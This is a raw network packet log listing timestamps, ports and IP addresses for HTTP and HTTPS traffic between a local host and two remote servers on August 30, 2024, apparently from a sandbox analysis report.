Aug 30, 2024 06:17:05.106939077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106949091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106957912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106965065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106966019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106976032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106985092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.106992006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106992006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.106995106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107004881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107014894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107019901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107023954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107033968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107043028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107043982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107053995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107062101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107074976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107083082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107084036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107110023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107144117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107265949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107278109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107287884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107297897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107307911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107315063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107316971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107326984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107335091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107355118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107367992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107387066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107397079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107405901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107417107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107424974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107426882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107453108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107453108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107489109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107500076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107510090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107520103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107530117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107533932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107542992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107561111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107561111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107572079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107603073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107614040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107625008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107634068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107667923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107667923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107821941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107831001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107839108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107847929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107857943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107866049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107876062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107880116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107884884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107893944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107904911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107913017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107913017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107916117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107924938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107930899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107933044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107940912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107943058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107954025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107961893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107969999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107980967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.107983112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.107983112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108006001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108055115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108167887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108176947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108186007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108192921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108201981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108211994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108223915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108228922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108228922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108233929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108243942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108252048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108257055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108257055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108261108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108277082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.108298063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108298063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.108324051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.154586077 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.154602051 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.154762030 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.154772043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.154813051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.154901981 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.154920101 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.154963017 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.154968977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155004978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.155352116 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155365944 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155428886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.155436039 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155442953 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.155483007 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.155653000 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155667067 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155719042 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.155725956 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.155764103 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156054974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156069040 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156125069 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156132936 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156172037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156315088 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156330109 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156373978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156380892 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156415939 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156876087 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156896114 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156928062 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156935930 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.156954050 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.156970978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.157001019 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.157016993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.157063961 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.157071114 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.157102108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.166470051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166507959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166517973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166522026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166544914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166568995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166594982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166605949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166611910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166620016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166630030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166640997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166672945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166682959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166691065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166718960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166743994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166754007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166763067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166773081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166781902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166781902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166806936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166829109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166894913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166902065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166909933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166919947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166929007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166939974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166944027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166951895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166954041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166971922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166980982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.166990995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.166999102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167015076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167020082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167025089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167033911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167051077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167066097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167100906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167110920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167119980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167129993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167140007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167140961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167150974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167180061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167205095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167215109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167223930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167236090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167236090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167258978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167284012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167311907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167320967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167330027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.167355061 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.167366982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168452024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168462038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168471098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168512106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168512106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168543100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168551922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168560982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168570995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168580055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168581009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168590069 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168605089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168649912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168659925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168668985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168694973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168704987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168709993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168720961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168730021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168756008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168766022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168790102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168802977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168811083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168833971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168843985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168865919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168874979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168883085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168893099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168901920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168903112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.168911934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168930054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.168950081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169166088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169173956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169205904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169217110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169226885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169255972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169271946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169348955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169363022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169378042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169387102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169392109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169394016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169400930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169414043 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169414997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169425011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169425964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169435978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169444084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169445992 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169456959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169466972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169469118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169488907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169497013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169559002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169569016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169578075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169588089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169600964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169600964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169620037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169671059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169682026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169691086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169701099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169712067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169727087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169744968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169792891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169806957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169816017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169827938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169836998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169859886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169859886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169871092 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169893026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169903040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169912100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169922113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169929981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169931889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.169946909 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169960976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.169992924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170002937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170011044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170018911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170033932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170043945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170063019 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170119047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170126915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170159101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170196056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170205116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170238972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170241117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170250893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170258999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170279026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170296907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170296907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170306921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170314074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170376062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170376062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170382023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170387030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170394897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170406103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170416117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.170418024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.170427084 CEST	49735	80	192.168.2.4	147.45.44.104
